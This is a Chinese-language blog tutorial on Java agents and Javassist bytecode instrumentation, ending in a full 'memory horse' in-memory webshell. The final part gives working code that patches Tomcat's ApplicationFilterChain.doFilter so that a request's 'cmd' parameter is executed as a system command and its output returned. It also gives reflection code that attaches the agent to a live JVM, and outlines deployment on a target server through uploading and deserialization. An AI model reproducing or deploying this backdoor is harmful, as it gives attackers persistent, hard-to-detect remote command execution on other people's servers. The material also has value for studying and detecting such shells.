JavaAgent Memory Horse

前置知识

JavaAgent出现得概念是在JDK1.5开始,相关类都在java.lang.instrument 包中。

提供允许 Java 编程语言代理检测在 JVM 上运行的程序的服务。检测机制是修改方法的字节码——官方解释。

对于javaagent代理得利用有两种方式:

启动时注入

一种是在程序启动时使用命令启动,—javaagent:xxx.jar[=aptions]

代理 JAR 文件的清单必须Premain-Class在其主清单中包含该属性。该属性的值是代理类的名称。premain代理类必须实现一个原则上类似于main 应用程序入口点的公共静态方法。在 Java 虚拟机 (JVM) 初始化后,premain将调用该方法,然后调用真正的应用程序main方法。该premain方法必须返回才能继续启动。

premain方法具有两个可能的签名之一。JVM 首先尝试在代理类上调用以下方法:

  1. public static void premain(String agentArgs, Instrumentation inst)

如果代理类未实现此方法,则 JVM 将尝试调用:

  1. public static void premain(String agentArgs)

很多得汉化软件就是用得Javaagent技术。

简单得实现一下吧

启动注入demo

首先创建一个JavaAgentTest,内部需要又premain方法,其实可以从名字就能看出是在main方法之前执行得。

  1. package com.y2an0;
  2. import java.lang.instrument.Instrumentation;
  3. public class JavaAgentTest {
  4. public static void premain(String agentArgs, Instrumentation inst){
  5. System.out.println("start");
  6. System.out.println(agentArgs);
  7. }
  8. }

然后我们需要创建一个Main.mf用来打包成jar,其中需要又Premain-class属性。

  1. Manifest-Version: 1.0
  2. Premain-Class: com.y2an0.JavaAgentTest

接下来我们在创建一个常规测试demo

  1. package com.y2an0;
  2. public class Test {
  3. public static void main(String[] args) {
  4. System.out.println("Hello world");
  5. }
  6. }

就简单打印一下hello world。同样也需要一个MF文件,如下

  1. Manifest-Version: 1.0
  2. Main-Class: com.y2an0.Test

接下来就是打包了,使用命令:

  1. jar cvfm Test.jar Test.mf Test.class

生成两个jar包,Test.jar和agent.jar

然后我们运行命令java -javaagent:agent.jar=args -jar Test.jar 需要注意得是运行注入-javaagent参数需要在-jar参数之前。

结果如下:

JavaAgent MemoryHorse - 图1

可以看到我们输入得参数args也打印出来了,所以基本上对整个程序得运行就很明了了噻。

字节码增强

Javasist是一款日本人开发得用于字节码操作的工具包,虽然反射也能在运行时操作字节码,但是只限于操作,不能修改,所以如果需要修改字节码,就需要Javasist来操作,当然还有其他的工具也有一样的功能。

javasist整体使用还是比较简单的,这里我们只是讲一下他的使用,不会做更加详细的讲解。为了看到效果,我们可以先创建一个测试类Test。

  1. package com.y2an0;
  2. public class Test {
  3. public static void main(String[] args) {
  4. System.out.println("Hello world");
  5. }
  6. public void JavaByte(){
  7. System.out.println("Java Byte");
  8. }
  9. }
  10. //老演员了

然后我们再创建一个用于修改java字节码的类JavaByteTest

  1. package com.y2an0.javaByte;
  2. import com.y2an0.Test;
  3. import javassist.*;
  4. import java.io.IOException;
  5. public class JavaByteTest {
  6. public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, InstantiationException, IllegalAccessException {
  7. ClassPool classPool=ClassPool.getDefault();
  8. CtClass clz=classPool.get("com.y2an0.Test");
  9. CtMethod method=clz.getDeclaredMethod("JavaByte");
  10. System.out.println("JavaByte Code Test");
  11. method.insertBefore("System.out.println(\"JavaByte Code Before\");");
  12. method.insertAfter("System.out.println(\"JavaByte Code After\");");
  13. clz.writeFile();//保存到文件
  14. Test o = (Test) clz.toClass().newInstance();
  15. o.JavaByte();
  16. }
  17. }

其实可以看到很多地方和反射是类似的。

  1. //运行结果
  2. JavaByte Code Test
  3. JavaByte Code Before
  4. Java Byte
  5. JavaByte Code After
  6. Process finished with exit code 0

JavaAgent MemoryHorse - 图2

可以看到保存的class文件确实已经把相应的语句添加进去了。

动态修改字节码

使用agent动态修改字节码其实也是在程序运行前,因为在程序运行前是将多有相关的代码编译成了class文件,执行的时候将class文件引入jvm内存,所以我们只要能够修改字节码就能完成一些如注册破解,汉化等操作在不破坏原来的jar包的前提下。

在前面我们看到了premain(String agentArgs, Instrumentation inst) 除了包含了传进来的变量外,还有一个Instrumentation对象,至于这个对象的含义我们接下来慢慢看。

JavaAgent MemoryHorse - 图3

可以看到这里面有很多的方法,我们只看几个常用。

部分参考:http://wjlshare.com/archives/1582

  1. public interface Instrumentation {
  2. //添加一个类文件转换器
  3. void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
  4. //同上,只是少了一个被转换的类能否可以再次被转换
  5. void addTransformer(ClassFileTransformer transformer);
  6. //移除类文件转换器
  7. boolean removeTransformer(ClassFileTransformer transformer);
  8. //确定一个类是否可以被转换或者重新修改
  9. boolean isModifiableClass(Class<?> theClass);
  10. //返回当前JVM加载的所有类数组
  11. @SuppressWarnings("rawtypes")
  12. Class[] getAllLoadedClasses();
  13. // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
  14. void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
  15. }

动态修改字节码demo

其实这里的话暂时只给搭建看一下addTransformer()的用法,其他的都挺简单的,大家可以自行尝试。

首先我们还是用我们的老演员了Test类

  1. package com.y2an0.learn;
  2. public class Test {
  3. public void JavaByte(){
  4. System.out.println("Java Byte");
  5. }
  6. }
  7. //下面这个类主要时调用Test
  8. package com.y2an0.learn;
  9. public class App
  10. {
  11. public static void main( String[] args )
  12. {
  13. System.out.println( "App Test" );
  14. System.out.println("Start execute Test's JavaByte");
  15. Test test=new Test();
  16. test.JavaByte();
  17. }
  18. }

然后就是premain()方法了,这里我们直接new一个ClassFileTransformer对象

  1. package com.y2an0;
  2. import javassist.*;
  3. import java.io.IOException;
  4. import java.lang.instrument.ClassFileTransformer;
  5. import java.lang.instrument.IllegalClassFormatException;
  6. import java.lang.instrument.Instrumentation;
  7. import java.security.ProtectionDomain;
  8. public class JavaAgentTest {
  9. public static final String target="com.y2an0.Tests";
  10. public static void premain(String args, Instrumentation ist){
  11. ist.addTransformer(new ClassFileTransformer() {
  12. @Override
  13. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  14. className=className.replace("/",".");
  15. if (className.equals(target)){
  16. System.out.println(className);
  17. ClassPool classPool=ClassPool.getDefault();
  18. try {
  19. System.out.println("getClass");
  20. CtClass ctClass = classPool.getCtClass(className);
  21. System.out.println("getMethod");
  22. CtMethod javaByte = ctClass.getDeclaredMethod("JavaByte");
  23. javaByte.insertAfter("System.out.println(\"JavaByte Code After\");");
  24. byte[] bytes = ctClass.toBytecode();
  25. //需要把这个CtClass从ClassPool中去除
  26. ctClass.detach();
  27. return bytes;
  28. } catch (NotFoundException e) {
  29. System.out.println("NotFoundException:"+e.getMessage());
  30. } catch (CannotCompileException e) {
  31. System.out.println("CannotCompileException:"+e.getMessage());
  32. } catch (IOException e) {
  33. System.out.println("IOException:"+e.getMessage());
  34. }
  35. }
  36. return classfileBuffer;
  37. }
  38. });
  39. }
  40. }

接下来就是打包成jar包了,对于含有main方法的项目很好打包,但是如果是premain这类的最好是使用自动化打包,方便快捷。

感兴趣的可以看看这篇博客,这里就不做详细说明了:https://www.jianshu.com/p/0d85d0539b1a

  1. <plugin>
  2. <groupId>org.apache.maven.plugins</groupId>
  3. <artifactId>maven-compiler-plugin</artifactId>
  4. <configuration>
  5. <source>1.8</source>
  6. <target>1.8</target>
  7. <encoding>utf-8</encoding>
  8. </configuration>
  9. </plugin>
  10. <plugin>
  11. <groupId>org.apache.maven.plugins</groupId>
  12. <artifactId>maven-assembly-plugin</artifactId>
  13. <configuration>
  14. <archive>
  15. <manifest>
  16. <addClasspath>true</addClasspath>
  17. <!-- <Main-Class>com.y2an0.App</Main-Class>-->
  18. </manifest>
  19. <manifestEntries>
  20. <Premain-Class>com.y2an0.JavaAgentTest</Premain-Class>
  21. <!-- <Agent-Class>com.y2an0.JavaAgentTest</Agent-Class>-->
  22. <Can-Redefine-Classes>true</Can-Redefine-Classes>
  23. <Can-Retransform-Classes>true</Can-Retransform-Classes>
  24. <Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
  25. </manifestEntries>
  26. </archive>
  27. <descriptorRefs>
  28. <descriptorRef>jar-with-dependencies</descriptorRef>
  29. </descriptorRefs>
  30. </configuration>
  31. <executions>
  32. <execution>
  33. <id>make-assembly</id>
  34. <phase>package</phase>
  35. <goals>
  36. <goal>single</goal>
  37. </goals>
  38. </execution>
  39. </executions>
  40. </plugin>

打包的话可以用这个,亲测有效,但是需要在引入

  1. <dependency>
  2. <groupId>org.apache.maven.plugins</groupId>
  3. <artifactId>maven-assembly-plugin</artifactId>
  4. <version>3.3.0</version>
  5. <type>maven-plugin</type>
  6. </dependency>

以上是在JDK8实现的,在JDK11时会报错。

JavaAgent MemoryHorse - 图4

动态代理

premain是从jdk1.5开始的,但是此种代理有缺点就是需要在启动时一起运行,但是像一些内存马之内的我们需要的是在程序已经运行后代理,所以还有一个agentmain就是在程序运行中可以动态代理的。

实现可以提供一种机制来在 VM 启动后的某个时间启动代理。关于如何启动的细节是特定于实现的,但通常应用程序已经启动并且它的main方法已经被调用。如果实现支持在 VM 启动后启动代理,则适用以下情况:

  1. 代理 JAR 的清单必须Agent-Class在其主要清单中包含该属性。该属性的值是代理类的名称。
  2. 代理类必须实现公共静态agentmain 方法。

agentmain方法具有两个可能的签名之一。JVM 首先尝试在代理类上调用以下方法:

  1. public static void agentmain(String agentArgs, Instrumentation inst)

如果代理类未实现此方法,则 JVM 将尝试调用:

  1. public static void agentmain(String agentArgs)

premain当使用命令行选项启动代理时,代理类也可能有一个使用方法。在 VM 启动后启动代理时,premain不会调用该方法。

代理通过agentArgs 参数传递其代理选项。代理选项作为单个字符串传递,任何额外的解析都应该由代理自己执行。

agentmain方法应该执行启动代理所需的任何必要初始化。启动完成后,该方法应返回。如果无法启动代理(例如,因为无法加载代理类,或者因为代理类没有符合的 agentmain方法),则 JVM 不会中止。如果该agentmain 方法抛出未捕获的异常,它将被忽略(但可能会被 JVM 记录以进行故障排除)。

综上所述,其实agentmain和premain使用是一致的,但是因为我们需要在jvm运行中加载进去,所以除了agentamin的实现同时还需要加载到jvm线程当中去。

在tools.jar包中就存在相关的类文件。

如果需要自己导入的话使用的是maven格式那么可以像这样

  1. <dependency>
  2. <groupId>com.sun</groupId>
  3. <artifactId>tools</artifactId>
  4. <scope>system</scope>
  5. <systemPath>D:/tools/cmder/base/java18/lib/tools.jar</systemPath>//跟自己的路径就可以了
  6. </dependency>

主要的两个类如下图VirtualMachineVirtualMachineDescriptor

JavaAgent MemoryHorse - 图5

VirtualMachine

VirtualMachine主要是获取虚拟机运行的内部信息(运行的类啥啥的),其中包括了内存的Dump,线程的dump。

Attach方法:其实就是通过传入的ID来找到对应的虚拟机并远程连接

  1. VirtualMachine virtualMachine=VirtualMachine.attach("id");//id为我们传入的ID

detach方法:就是断开连接可以这样理解。

  1. virtualMachine.detach();

list方法:获取所有的虚拟机列表

  1. List<VirtualMachineDescriptor> list = VirtualMachine.list();

loadAgent方法:将agent的jar包注入到虚拟机中

  1. virtualMachine.loadAgent("xxxagent.jar");

VirtualMachineDescriptor

他其实就是一个描述虚拟机的容器类。根据上面的list()方法我们能看出虚拟机的属性基本就是由他来描述的。

VirtualMachine是如何将agent.jar注入到虚拟机中的,其实整个流程还是蛮简单的,首先是VirtualMachine.attach()利用pid连接到Java进程,然后使用loadAgent将agent注入到Java进程中,因为存在agentamin,所以会被执行,从而执行我们在agentmain中实现的方法。

具体流程图,我借用木头师傅借用奶思师傅的图片

JavaAgent MemoryHorse - 图6

有前面的说明看这张图基本就一目了然了。

至于agent.jar这里就不多说了,和premain是一样得写法,只是我们需要在addTransformer后retransformClasses(),以保证我们修改后得类重新加载到jvm虚拟机中。

  1. inst.addTransformer(new ClassFileTransformer(),true);
  2. // 获取所有已加载的类
  3. Class[] classes = inst.getAllLoadedClasses();
  4. for (Class clas:classes){
  5. if (clas.getName().equals(target)){
  6. try{
  7. // 对类进行重新定义
  8. inst.retransformClasses(clas);
  9. } catch (Exception e){
  10. e.printStackTrace();
  11. }
  12. }
  13. }

agentmain是需要我们使用VritualMachine注入到Java线程中得,具体使用我们看下面得代码

  1. public class VirtualMachineTest {
  2. public static void main(String[] args) {
  3. String path="agent-jar-with-dependencies.jar";
  4. List<VirtualMachineDescriptor> list = VirtualMachine.list();
  5. for (VirtualMachineDescriptor v:list){
  6. if (v.displayName().contains("App")){//匹配对应得Java进程
  7. System.out.println(v.displayName()+"===>pid:"+v.id());
  8. try {
  9. VirtualMachine attach = VirtualMachine.attach(v.id());//连接到虚拟机
  10. attach.loadAgent(path);//向虚拟机中加载agent.jar
  11. attach.detach();//退出连接
  12. } catch (AttachNotSupportedException e) {
  13. e.printStackTrace();
  14. } catch (IOException e) {
  15. e.printStackTrace();
  16. } catch (AgentLoadException e) {
  17. e.printStackTrace();
  18. } catch (AgentInitializationException e) {
  19. e.printStackTrace();
  20. }
  21. }
  22. }
  23. }
  24. }

我们可以用jps 查看所有Java进程pid

JavaAgent MemoryHorse - 图7

ClassLoader加载tools

因为在正常虚拟机启动时是不会挂在tools.jar,所以我们需要使用classloader挂载,因为这在内存马生成过程中是需要通过反序列化执行代码然后将agent注入到我们得目标程序。

ClassLoader得使用我们直接看代码。

  1. package com.y2an0.VirtualTest;
  2. public class ClassLoaderVirtualMachine {
  3. public static void main(String[] args) {
  4. ClassLoaderUse();
  5. }
  6. public static void ClassLoaderUse(){
  7. //目标类全限定类名
  8. java.lang.String target="";
  9. //存在于目标服务器上的agent.jar目录
  10. java.lang.String agentPath="";
  11. java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
  12. try {
  13. System.out.println(toolsPath.toURI().toURL());
  14. java.net.URL url = toolsPath.toURI().toURL();
  15. java.net.URLClassLoader classLoader=new java.net.URLClassLoader(new java.net.URL[]{url});
  16. Class<?> customerVirtual=classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
  17. Class<?> customerVirtualDescriptor=classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
  18. java.lang.reflect.Method listMethod=customerVirtual.getDeclaredMethod("list",null);
  19. java.util.List<Object> listVm=(java.util.List<Object>) listMethod.invoke(customerVirtual,null);
  20. for (int i=0;i<listVm.size();i++){
  21. Object o=listVm.get(i);
  22. java.lang.reflect.Method displayMethod=customerVirtualDescriptor.getDeclaredMethod("displayName",null);
  23. String name= (String) displayMethod.invoke(o,null);
  24. if (name.equals(target)){
  25. java.lang.reflect.Method getId=customerVirtualDescriptor.getDeclaredMethod("id",null);
  26. String id= (String) getId.invoke(o,null);
  27. java.lang.reflect.Method attach=customerVirtual.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
  28. java.lang.Object attachObj=attach.invoke(o,new Object[]{id});
  29. java.lang.reflect.Method loadAgent=customerVirtual.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
  30. loadAgent.invoke(attachObj,new Object[]{agentPath});
  31. java.lang.reflect.Method detach=customerVirtual.getDeclaredMethod("detach",null);
  32. detach.invoke(attachObj,null);
  33. break;
  34. }
  35. }
  36. } catch (Exception e) {
  37. e.printStackTrace();
  38. }
  39. }
  40. }

在代码中我们尽量使用全限定类名,减少类的引入,同时还能保证程序可以稳定运行。

Java Agent内存马

为了实现内存马,我们基本使用最多的就是filter型内存马,这个和普通的filter内存马最大的区别个人感觉除了难以查杀同时存活时间也是最长。

目前网上的大量filter内存马都时在org.apache.catalina.core.ApplicationFilterChain#doFilter 处进行处理的,我们看下源码把

JavaAgent MemoryHorse - 图8

所以我们就可以直接修改doFilter方法中的代码,然我们的代码在执行完我们的程序后直接internalDoFIlter() 就可以了。所以整体思路还是很清晰的。

位置我们找到了,接下来就是代码的编写了

  1. package com.y2an0.DynamicTest;
  2. import javassist.*;
  3. import java.lang.instrument.ClassFileTransformer;
  4. import java.lang.instrument.IllegalClassFormatException;
  5. import java.lang.instrument.Instrumentation;
  6. import java.lang.instrument.UnmodifiableClassException;
  7. import java.security.ProtectionDomain;
  8. public class DynamicDemo {
  9. public static final String target="org.apache.catalina.core.ApplicationFilterChain";
  10. public static final String MethodName="doFilter";
  11. public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException, ClassNotFoundException {
  12. inst.addTransformer(new ClassFileTransformer() {
  13. @Override
  14. public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  15. className=className.replace("/",".");
  16. if (target.equals(className)) {
  17. ClassPool classPool=ClassPool.getDefault();
  18. try {
  19. CtClass ctClass = classPool.getCtClass(className);
  20. System.out.println("====================");
  21. System.out.println("className:"+ctClass.getName());
  22. CtMethod javaByte = ctClass.getDeclaredMethod(MethodName);
  23. System.out.println("MethodName:"+javaByte.getName());
  24. javaByte.insertBefore("java.lang.String used = (java.lang.String)request.getAttribute(\"used\");\n" +
  25. "if (used==null||\"\".equals(used)){\n" +
  26. " java.lang.String cmd=request.getParameter(\"cmd\");\n" +
  27. " if (!\"\".equals(cmd)&&cmd!=null){\n" +
  28. " java.lang.Process process= null;\n" +
  29. " try {\n" +
  30. " process = java.lang.Runtime.getRuntime().exec(cmd);\n" +
  31. " byte[] buf = new byte[1024];\n" +
  32. " java.io.InputStream inputStream = process.getInputStream();\n" +
  33. " int len=0;\n" +
  34. " int index=0;\n" +
  35. " while ((len= inputStream.read(buf))>0){\n" +
  36. " System.out.println(new String(buf, index, len));\n" +
  37. " request.setAttribute(\"used\",new java.lang.String[]{\"used\"});\n" +
  38. " response.getWriter().println(new String(buf, index, len));\n" +
  39. " index+=len;\n" +
  40. " }\n" +
  41. " java.lang.System.out.println(\"执行了命令了\");\n" +
  42. " process.destroy();\n" +
  43. " internalDoFilter(request,response);//直接从这就走了\n" +
  44. " } catch (Exception e) {}\n" +
  45. " internalDoFilter(request,response);\n" +
  46. " }\n" +
  47. "}");
  48. System.out.println("insert finished!");
  49. byte[] bytes = ctClass.toBytecode();
  50. ctClass.detach();
  51. System.out.println("detach");
  52. return bytes;
  53. } catch (Exception e) {
  54. System.out.println("+++++++++++++++++");
  55. System.out.println(e.getMessage());
  56. System.out.println("+++++++++++++++++");
  57. }
  58. }
  59. return classfileBuffer;
  60. }
  61. },true);
  62. // 获取所有已加载的类
  63. Class[] classes = inst.getAllLoadedClasses();
  64. for (Class clas:classes){
  65. if (clas.getName().equals(target)){
  66. try{
  67. // 对类进行重新定义
  68. inst.retransformClasses(new Class[]{clas});
  69. } catch (Exception e){
  70. e.printStackTrace();
  71. }
  72. }
  73. }
  74. }
  75. }

这里我们添加的代码如下:

  1. java.lang.String cmd=request.getParameter("cmd");
  2. if (!"".equals(cmd)&&cmd!=null){
  3. java.lang.Process process= null;
  4. try {
  5. process = java.lang.Runtime.getRuntime().exec(cmd);
  6. byte[] buf = new byte[1024];
  7. java.io.InputStream inputStream = process.getInputStream();
  8. int len=0;
  9. int index=0;
  10. while ((len= inputStream.read(buf))>0){
  11. System.out.println(new String(buf, index, len));
  12. request.setAttribute("used",new java.lang.String[]{"used"});
  13. response.getWriter().println(new String(buf, index, len));
  14. index+=len;
  15. }
  16. java.lang.System.out.println("执行了命令了");
  17. process.destroy();
  18. internalDoFilter(request,response);//直接从这就走了
  19. } catch (Exception e) {}
  20. internalDoFilter(request,response);
  21. }

至于代码中为何要用全限定类名前面也说过了。

然后结合ClassLoader加载tools的代码就能完成了。

我们这里就本地执行ClassLoader加载程序,反序列化各位可以自己搞搞,没啥难度。

JavaAgent MemoryHorse - 图9

整个流程分为两步:

  1. 上传我们的agent.jar到目标服务器(方式很多,能反序列化我们也能远程下载)
  2. 利用反序列化执行ClassLoader加载tools.jar,从而将agent.jar注入到目标进程中

到这里其实就差不多了,后面如何反序列化我们的代码,这里就不作讲解了。

注意

  1. JDK版本三个需要保持一致:目标网站JDK、Agent代理打包用的JDK、Tools挂载使用JDK(我这里都是用的是JDK8)
  2. JDK8版本的javasist需要使用的3.21.0-GA 这一个版本大于等于(踩坑)

思考

  1. agent内存马相对于Filter内存马更加不容易检测(但是感觉是假的,只要能操作字节码,在ASM面前啥都是弟弟)。这里送一个大佬写的内存马检测修复工具:https://github.com/4ra1n/FindShell。
  2. agent内存马注入的时候是有风险的,因为很多时候容易因为内存不足将网站打死。
  3. agent内存马注入后,agent.jar是删除不掉的,所以还是会留下很多的问题。

总结

还是用Filter这些内存马更舒服,虽然代码量会多一点,逻辑强一点,但是总的来说依赖是最小的,不需要上传文件,文件的上传很大可能会被监控。

结束!Bye!